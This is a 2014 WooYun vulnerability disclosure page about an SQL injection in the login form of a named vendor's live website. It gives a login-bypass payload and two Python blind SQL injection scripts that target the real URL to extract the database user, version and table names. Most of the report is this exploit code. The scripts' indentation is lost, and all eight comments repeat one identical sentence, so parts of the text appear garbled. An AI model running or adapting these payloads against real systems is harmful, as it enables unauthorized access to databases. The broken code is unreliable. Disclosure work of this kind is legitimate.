当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088434

漏洞标题:迈外迪某站or注入root权限(附验证脚本)

相关厂商:迈外迪

漏洞作者: Rona

提交时间:2014-12-24 15:08

修复时间:2015-02-07 15:10

公开时间:2015-02-07 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-24: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-07: 细节向公众公开

简要描述:

详细说明:

http://cmccsh.wiwide.com/login 登陆处万能密码登陆,存在sql盲注
admin' or 1=1#
失败时:

wooyun.png


正确时:

wooyun.png


脚本中跑到结果:
user; root@localhost
version: 5.5.37
database: ads
ads的第一个表:ad_day
貌似只有一个表count了一下大约10000条数据,没有写进一步的脚本

漏洞证明:

wooyuntable1.png


wooyun.png


注入数据表的脚本

#coding: utf-8
#date: 2014/12/18
import requests
import sys
import time
def blind_inject():
payloads = 'rotabcdefghijklmnpqsuvwxyz0123456789@_.'
user = ''
end = 0
for i in range(1,40):
if end == 1:
break
for j in payloads:
time.sleep(1)
headers ={
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Origin': 'http://cmccsh.wiwide.com/login',
'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://cmccsh.wiwide.com/login',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'JSESSIONID=aBBzLjv2g4je',

}
exp = "or ( select (select ascii(substr(group_concat(table_name),%d,1)) from information_schema.tables where table_schema=0x616473 limit 0,1)=%d)"%(i,ord(j))
url = "http://cmccsh.wiwide.com/login"
data = "username=admin' %s #&pwd=1&login=1"%(exp)
mark = 1
r = requests.post(url, data, headers=headers, allow_redirects=False)

find = (len(r.text)<10)
while r.status_code !=200 and find == False:
r = requests.get(url)

if find:

user = user+j
print '\n[*]Guessing ' + user,
#print data
#print r.text
time.sleep(1)
break
else:
print '.',
if not user[::-1].startswith(j):
end = 1
print '\n',user
def run():
blind_inject()
if __name__ == '__main__':
run()


注入user、version、database的脚本

#coding: utf-8
#date: 2014/12/18
import requests
import sys
import time
def blind_inject():
payloads = 'rotabcdefghijklmnpqsuvwxyz0123456789@_.'
user = ''
end = 0
for i in range(1,40):
if end == 1:
break
for j in payloads:
time.sleep(1)
headers ={
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'Origin': 'http://cmccsh.wiwide.com/login',
'User-Agent': 'Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.143 Safari/537.36',
'Content-Type': 'application/x-www-form-urlencoded',
'Referer': 'http://cmccsh.wiwide.com/login',
'Accept-Encoding': 'gzip,deflate,sdch',
'Accept-Language': 'zh-CN,zh;q=0.8',
'Cookie': 'JSESSIONID=aBBzLjv2g4je',

}
exp = "or ascii(MID(lower(version()),%d,1))= %s"%(i,ord(j))
url = "http://cmccsh.wiwide.com/login"
data = "username=admin' %s #&pwd=1&login=1"%(exp)
mark = 1
r = requests.post(url, data, headers=headers, allow_redirects=False)

find = (len(r.text)<10)
while r.status_code !=200 and find == False:
r = requests.get(url)

if find:

user = user+j
print '\n[*]Guessing ' + user,
#print data
#print r.text
time.sleep(1)
break
else:
print '.',
if not user[::-1].startswith(j):
end = 1
print '\n',user
def run():
blind_inject()
if __name__ == '__main__':
run()

修复方案:

版权声明:转载请注明来源 Rona@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-26 18:17

厂商回复:

问题已经确认,多谢白帽子的反馈!

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-24 16:31 | 0x_Jin ( 普通白帽子 | Rank:319 漏洞数:37 | 微博:http://weibo.com/J1n9999)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)

  2. 2014-12-24 17:44 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)

  3. 2014-12-24 18:16 | ki11y0u ( 普通白帽子 | Rank:104 漏洞数:23 | 好好学习,求带飞~~~~~~~~~~~~~~~~~~~~~~...)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)

  4. 2014-12-26 21:15 | 子非海绵宝宝 认证白帽子 ( 核心白帽子 | Rank:1044 漏洞数:106 | 发扬海绵宝宝的精神!你不是海绵宝宝,你怎...)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)

  5. 2014-12-28 14:54 | 0c0c0f ( 实习白帽子 | Rank:48 漏洞数:15 | My H34rt c4n 3xploit 4ny h0les!)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)

  6. 2015-02-07 15:21 | f4ckbaidu ( 普通白帽子 | Rank:182 漏洞数:23 | 开发真是日了狗了)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)

  7. 2015-02-08 13:05 | black hook ( 路人 | Rank:28 漏洞数:8 | 新人、)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)

  8. 2015-02-09 09:34 | 疯子 ( 普通白帽子 | Rank:242 漏洞数:42 | 世人笑我太疯癫,我笑世人看不穿~)

    看到rss的提醒 xxxx(附验证脚本) 我还以为是李姐姐(lijiejie)